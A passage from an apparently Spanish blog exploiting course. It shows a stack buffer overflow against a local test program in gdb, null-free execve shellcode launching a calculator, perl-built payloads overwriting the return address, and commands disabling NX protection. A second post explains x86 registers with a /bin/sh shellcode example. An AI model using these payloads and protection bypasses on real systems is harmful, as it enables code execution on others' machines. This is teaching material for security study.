Y ahora volvemos al gdb, escribimos el chorizaco con perl y ejecutamos, ¿no?. ¡Pues no! ¿No ves que tenemos el mismo problema de antes?, la nueva instrucción que hemos metido tiene un byte 0x00 en sí misma (debido al literal $0x0 que usa) con lo cual perl volvería a hacernos lo mismo que antes y esta vez se estropearía todo porque ahí acabaría el byte 0xbb de la siguiente instrucción, con lo que se partiría la instrucción y a saber que se acabaría ejecutando. ¿Vas viendo a dónde estoy llegando?. No podemos utilizar el byte 0x00 en nuestro código, y no sólo porque perl al concatenar se lo coma (eso podemos evitarlo), sino porque la función que vamos a explotar es strcpy(), esta función sólo copia hasta que encuentra el byte de terminación de la string, es decir el byte 0x00. Este es el gran motivo de por qué los programas que inyectamos deben evitar usar el byte 0x00, porque entonces no se pueden inyectar con el strcpy().

Tenemos que buscar entonces una forma de conseguir poner donde queremos un byte 0x00 pero que el código no use bytes 0x00. Lo cierto es que me lo había callado, pero ya he aplicado esta técnica en este mismo código. Cuando lo empezamos a escribir comenté que ecx, edx y esi iban a apuntar a NULL. NULL no es más que una macro para 0x00000000 y la forma en que puse a 0 estos registros fue mediante una operación XOR con ellos mismos. Seguro que muchos pensaron en hacer "movl $0x0, %ecx", pero lo cierto es que eso introduciría caracteres nulos, sin embargo como podemos observar, con instrucciones xor no ocurre ;). Volvamos a dar una vuelta de tuerca más al código.

.globl main

main:
    /* Poner un nulo al final de la string... sin usar nulos ;). */
    xorl %ecx, %ecx
    movb %cl, (0xdddddddd)


    /*
     * No sabemos la direccion de la string del final,
     * lo rellenamos con 0xff y luego miraremos donde cae.
     */
    movl $0xffffffff, %ebx

    /* argv, envp y regs == NULL. */
    xorl %edx, %edx
    xorl %esi, %esi

    /* Hacemos la llamada a sys_execve. */
    movb $0xb, %al
    int $0x80

.string "/usr/bin/gcalccmd"

$ gcc -o calcode calcode.s 
$ objdump -d calcode | egrep -A 20 "<main>"
080483b4 <main>:
 80483b4:    31 c9                    xor    %ecx,%ecx
 80483b6:    88 0d dd dd dd dd        mov    %cl,0xdddddddd

 80483bc:    bb ff ff ff ff           mov    $0xffffffff,%ebx
 80483c1:    31 d2                    xor    %edx,%edx
 80483c3:    31 f6                    xor    %esi,%esi
 80483c5:    b0 0b                    mov    $0xb,%al
 80483c7:    cd 80                    int    $0x80
 80483c9:    2f                       das   
 80483ca:    75 73                    jne    804843f <__libc_csu_init+0x5f>
 80483cc:    72 2f                    jb     80483fd <__libc_csu_init+0x1d>
 80483ce:    62 69 6e                 bound  %ebp,0x6e(%ecx)
 80483d1:    2f                       das   
 80483d2:    67 63 61 6c              arpl   %sp,0x6c(%bx,%di)
 80483d6:    63 63 6d                 arpl   %sp,0x6d(%ebx)
 80483d9:    64 00 90 90 90 90 90     add    %dl,%fs:-0x6f6f6f70(%eax)


Y ahora sí, ya no tenemos ningún byte nulo en nuestro código. Vayamos al gdb, miremos las direcciones donde se va a ejecutar, cambiemos las 3 que debemos y probemos.

$ gdb -q bof
Reading symbols from /path/bof...(no debugging symbols found)...done.
(gdb) br *main+71
Breakpoint 1 at 0x804848b
(gdb) run `perl -e 'print "\x31\xc9\x88\x0d\xdd\xdd\xdd\xdd\xbb\xff\xff\xff\xff\x31\xd2\x31\xf6\xb0\x0b\xcd\x80\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x67\x63\x61\x6c\x63\x63\x6d\x64" . "A"x102 . "\xee\xee\xee\xee"'`
Breakpoint 1, 0x0804848b in main ()

Nótese que la cantidad de bytes que ocupa el código ha crecido y por lo tanto hacen falta menos Aes para rellenar.

(gdb) nexti
0x08048490 in main ()
(gdb) x/40xw $esp
0xbffff280:    0xbffff290    0xbffff55f    0x00000001    0xb7ebc1f9
0xbffff290:    0x0d88c931    0xdddddddd    0xffffffbb    0x31d231ff
0xbffff2a0:    0xcd0bb0f6    0x73752f80    0x69622f72    0x63672f6e
0xbffff2b0:    0x63636c61    0x4141646d    0x41414141    0x41414141
0xbffff2c0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2d0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2e0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2f0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff300:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff310:    0x41414141    0x41414141    0x41414141    0xeeeeeeee

Podemos apreciar que ahora la sobreescritura de la dirección de retorno es correcta, a falta de poner la verdadera dirección. Calculamos las 3 direcciones que necesitamos y volvemos a ejecutar sustituyendo los bytes necesarios.

(gdb) run `perl -e 'print "\x31\xc9\x88\x0d\xb6\xf2\xff\xbf\xbb\xa5\xf2\xff\xbf\x31\xd2\x31\xf6\xb0\x0b\xcd\x80\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x67\x63\x61\x6c\x63\x63\x6d\x64" . "A"x102 . "\x90\xf2\xff\xbf"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /path/bof `perl -e 'print "\x31\xc9\x88\x0d\xb6\xf2\xff\xbf\xbb\xa5\xf2\xff\xbf\x31\xd2\x31\xf6\xb0\x0b\xcd\x80\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x67\x63\x61\x6c\x63\x63\x6d\x64" . "A"x102 . "\x90\xf2\xff\xbf"'`
Breakpoint 1, 0x0804848b in main ()
(gdb) nexti
0x08048490 in main ()
(gdb) x/40xw $esp
0xbffff280:    0xbffff290    0xbffff55f    0x00000001    0xb7ebc1f9
0xbffff290:    0x0d88c931    0xbffff2b6    0xfff2a5bb    0x31d231bf
0xbffff2a0:    0xcd0bb0f6    0x73752f80    0x69622f72    0x63672f6e
0xbffff2b0:    0x63636c61    0x4141646d    0x41414141    0x41414141
0xbffff2c0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2d0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2e0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2f0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff300:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff310:    0x41414141    0x41414141    0x41414141    0xbffff290

Vemos que efectivamente se ha sobreescrito la dirección de retorno con la dirección de comienzo del buffer... donde se encuentra nuestro código inyectado }:-). Continuemos.

(gdb) cont
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0xbffff290 in ?? ()

¡ZAS, EN TODA LA BOCA!. Tómate un momento de relax si lo necesitas, aquí tienes unos puntos suspensivos para acompañar ..........., bueno ya esta bien de descanso. ¿Qué ha pasado aquí? Bueno, pues que nos hemos topado con otra de las protecciones contra la explotación de estas vulnerabilidades, exec-shield, bit nx, dep, w^x o como quieran llamarlo. Se trata de impedir la ejecución de código en zonas con permisos de escritura. Estamos inyectando este código dentro de la pila y por tanto estamos incurriendo en un acceso a memoria ilegal. Ya trataremos en otra entrada cómo saltarse esta protección, ahora lo que haremos será desactivarla ;)... o más bien activar la ejecución en la pila.

Al crear el ELF, automáticamente se le pide a la sección GNU_STACK que no tenga permisos de ejecución.

$ readelf -a bof | egrep "GNU_STACK"
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x4

Nótese que sólo tiene permisos de lectura y escritura. Lo que haremos será compilar pidiendo esos permisos.

$ gcc -fno-stack-protector -zexecstack -o bof bof.c
$ readelf -a bof | egrep "GNU_STACK"
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4

Después de compilar con la opción -zexecstack vemos que la sección GNU_STACK pide permisos de ejecución además de lectura y escritura. En otros sistemas puede hacer falta desactivar un flag del kernel, el flag kernel.exec-shield en concreto. No es este caso, pero si estuvieramos en un sistema donde así fuera lo desactivaríamos con este comando.

$ sudo sysctl -w kernel.exec-shield=0

Cuidadito con esto que desactiva la protección en el sistema (aunque sólo hasta el reinicio).

Y volvamos a probar a ejecutar de nuevo mediante gdb. Voy directo hasta el último punto, parados justo después de ejecutar strcpy().

(gdb) cont
Continuing.
process 6366 is executing new program: /usr/bin/gcalccmd
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
> 1236 + 101
1337
> quit

[Inferior 1 (process 6366) exited normally]
(gdb)

Tachán! Ahí tenemos la ejecución de la calculadora :).

Y así es como la "ejecución arbitraria de código" se vuelve un poco menos arbitraria y por qué un bof puede ser tan peligroso. En otras entradas desarrollaremos programas más bonitos y útiles :).

Para terminar voy a hacer una autocritica sobre el código que estamos inyectando. Estoy intentando ir despacito, avanzando un escalón de dificultad en cada entrega, pero lo cierto es que esta vez me ha resultado muy difícil y no he podido evitarlo. No quería hablar aquí de las técnicas a tener en cuenta a la hora de escribir nuestros programas a inyectar (en este caso evitar usar bytes nulos), así que por ahora hemos estado mirando las direcciones que el programa necesita (dirección de la string con el nombre del programa, dirección donde comienza el buffer y por tanto el código inyectado...) desde dentro del gdb y en ningún momento he ejecutado por fuera. Si intentamos ejecutar desde el exterior lo más probable es que el programa pete y ya está. Ya veremos más adelante nuevas técnicas a la hora de escribir estos programas (que a partir de ahora vamos a llamar shellcodes porque ya me estoy rayando) y según las vayamos juntando ya veremos que vamos a explotar los programas sin necesidad de hacerlo desde dentro del gdb, pero hasta entonces paciencia.

Saludos.

martes, 7 de agosto de 2012

Minicurso de exploiting (parte 4): Introducción a la arquitectura x86

La arquitectura x86:

Cada vez que pienso en un curso de exploiting tengo claro que hay que dedicar parte del mismo a la arquitectura sobre la que se trabaja. En nuestro caso será la de los procesadores de Intel por ser probablemente la más famosa y más extendida, aunque con la cantidad de dispositivos móviles que han ido surgiendo en los últimos años, haríamos bien en estudiar ARM.

Un repaso rápido por la historia de esta familia de procesadores. Creo recordar que Intel empezo con el microprocesador 4004 (para unas calculadoras), y que más adelante acabo diseñando el microprocesador 8086, el primero de la familia x86. Más adelante pasarían por el 8088, el 80186, el 80286 y luego llegarían al 80386 también conocido como "el 386", procesador que marcó una época. Luego llegarían el 80486 y de ahí en adelante la infinidad de procesadores de la familia Pentium (cuyas arquitecturas se siguen llamando i586, i686...).

Lo especial de la arquitectura del 386 (que es la que tocaremos) es que fué la que se usó en la mayoría de PCs alrededor del mundo y que era de 32 bits. Actualmente sigue siendo interesante estudiarla porque sigue habiendo muchos sistemas de 32 bits y además los más modernos procesadores de 64 bits permiten la ejecución de programas de 32 bits.

Los registros:

Como sabemos, los procesadores tienen en su interior ciertos tipos de memoria, la más conocida suele ser la memoria caché, en general con dos niveles L1 y L2 (creo que hay algunos procesadores que tienen incluso un tercer nivel L3, pero no suele ser lo general). Aunque esto para nosotros es transparente.

Otro tipo de memoria que tienen, aún más reducida y más rápida son los registros. Un registro es básicamente un pequeño almacén de un tamaño concreto y pequeño (1 byte, 2 bytes, 4 bytes...). Las instrucciones pueden realizar su cometido tanto con la memoria como con los registros. La arquitectura i386 divide los registros en tres categorías:
  • Registros de propósito general:
    • EAX (Extended Accumulator)
    • EBX (Extended Base index)
    • ECX (Extended Counter)
    • EDX (Extended Data index)
    • ESI (Extended Source Index)
    • EDI (Extended Destination Index)
    • ESP (Extended Stack Pointer)
    • EBP (Extended Base Pointer)
  • Registros de segmento:
    • CS (Code Segment)
    • DS (Data Segment)
    • SS (Stack Segment)
    • ES (Extra Segment)
    • FS (¿Frame? Segment)
  • Registros de control:
    • EIP (Extended Instruction Pointer)
    • EFLAGS (Extended FLAGS)
No trataré los registros de segmento ya que a la hora de programar en espacio de usuario no se suelen tocar, sino cuando se programa en espacio de kernel. Existen debido a que la arquitectura i386 permite un modelo de memoria tanto paginado como segmentado. Pero que sepamos que existen y que cuando nos metemos a nivel de kernel podríamos llegar a sufrirlos (yo los he sufrido xD).

Los interesantes a tratar son los de propósito general, estos registros son todos de 32 bits, la "e" de "extended" hace referencia a ello, pero también se pueden usar como registros de 16 bits o incluso 8 bits si nos referimos a ellos como AX (para acceder a los 16 bits menos significativos de EAX) o AH (Accumulator High) para acceder a los 8 bits más significativos de AX y AL (Accumulator Low) para los 8 bits menos significativos de AX. Y esto se repite con EBX, ECX y EDX.

Todos estos registros tienen ciertas implicaciones sobre según qué instrucciones, por lo tanto a la hora de programar en ensamblador (¿qué pasa? divertidísimo) asegúrate de tener un manual o un listado con las instrucciones que detalle todo lo que hacen. Por ejemplo, con las instrucciones de la familia rep (repetition) se repite la instrucción a la que rep hace referencia hasta que ECX llega a 0. Con las instrucciones orientadas a strings (el mnemónico comienza por la letra "s") ESI actúa como el puntero a la string de origen y EDI como el puntero a la string de destino. Esto ya hay que estudiarlo cuando te vayas a pegar con ello, no puedo tratarlo todo aquí (además de que no me lo sé todo, claro está).

Sobre los registros de control, pues EIP no puede ser accedido directamente, pero si indirectamente con instrucciones de la familia call y ret. EFLAGS es un registro de flags como su nombre indica. Mantiene información de si la última instrucción ha producido acarreo, un cero, un positivo o un negativo, la paridad, etc...

Instrucciones x86:

La arquitectura x86 es CISC (Complex Instruction Set Computer), esto quiere decir que estos procesadores tienen un mogollón de instrucciones, a cual más compleja y extravagante, cuyos cometidos pueden ir desde incrementar en 1 un registro hasta freir un huevo sin necesidad de aceite (instrucción "feggwo" Fry EGG Without Oil). ¿Y qué quiero decir al soltar esto al principio? Pues que no voy a hacer un listado de todas, ni de lo que hacen ni nada de nada xD. Tampoco hablaré de todos los modos de direccionamiento de la memoria que pueden usar estas instrucciones ni de como se encodean a binario. ¿Para qué una sección de instrucciones si no voy a hablar de ellas?, pues para poner un par de ejemplos y así vayamos viendo un poco las instrucciones que más vamos a utilizar en este curso... porque programaremos en ensamblador, ya lo adelanto.

Veamos un ejemplo de código para una shellcode (para Linux) escrito con sintaxis AT&T.

.globl _start
_start:
 jmp  trick
shellcode:
 pop  %esi
 xor  %eax, %eax
 movb %al, 0x7(%esi)
 movl %esi, 0x8(%esi)
 movl %eax, 0xc(%esi)
 movl %esi, %ebx
 movl %esi, %ecx
 addb $0x8, %cl
 xor  %edx, %edx
 xor  %esi, %esi
 movb $0xb, %al
 int  $0x80

trick:
 call  shellcode

.string "/bin/shABBBBCCCC"

Ahora el mismo ejemplo con sintaxis Intel.

 jmp  trick

shellcode:
 pop  esi
 xor  eax, eax
 mov  [esi + 0x7], al
 mov  [esi + 0x8], esi
 mov  [esi + 0xc], eax
 mov  ebx, esi
 mov  ecx, esi
 add  cl, 8
 xor  edx, edx
 xor  esi, esi
 mov  al, 0xb
 int  0x80

trick:
 call shellcode

db "/bin/shABBBBCCCC"
  
Lo que quiero hacer notar con esto es que existen dos (no sé si más) sintaxis distintas y muy extendidas para escribir en ensamblador de x86, la de AT&T y la de Intel. Y tienen bastante diferencias que debemos tener en cuenta. Las principales son las siguientes:
  • En AT&T se pone el registro destino a la derecha, Intel a la izquierda.
  • En AT&T para referenciar a un registro le tenemos que poner un '%' delante, en Intel no.
  • En AT&T los literales (números directamente en un operando) se marcan con un '$' al principio, en Intel no.
  • En AT&T los direccionamientos van entre paréntesis, en Intel van entre corchetes.
  • En AT&T los desplazamientos en un direccionamiento van fuera de los paréntesis, en Intel van dentro de los corchetes.
  • En AT&T el mnemónico de la instrucción hace referencia al tamaño del tipo de dato que utiliza b para byte, w para word (2 bytes), l para long (4 bytes) y no estoy seguro si d para double (8 bytes), en Intel no se usan estas letras.
Para el primer ejemplo podríamos usar gcc para compilar, para el segundo podemos usar nasm... aunque no estoy seguro si se le puede decir a gcc que compile un código con sintaxis Intel, creo que sí.

Conclusión, aunque x86 tiene infinidad de instrucciones a la hora de programar no usaremos demasiadas (aunque usaremos más que las vistas en estos ejemplos). Donde sí nos hará más falta conocer las instrucciones y tener los manuales preparados al lado será a la hora del reversing.

Espero con esto haber alimentado un poco la curiosidad sobre x86. Esto sólo es un comienzo, yo no puedo ponerme aquí a dar un curso completo de x86 (porque necesitaría mucho tiempo y porque no soy un gurú de esta arquitectura). Esto es un curso de exploiting, ahora te toca a tí currártelo. Además aprenderemos bastante según avance el curso a base de pegarnos con estas cosas.

Saludos.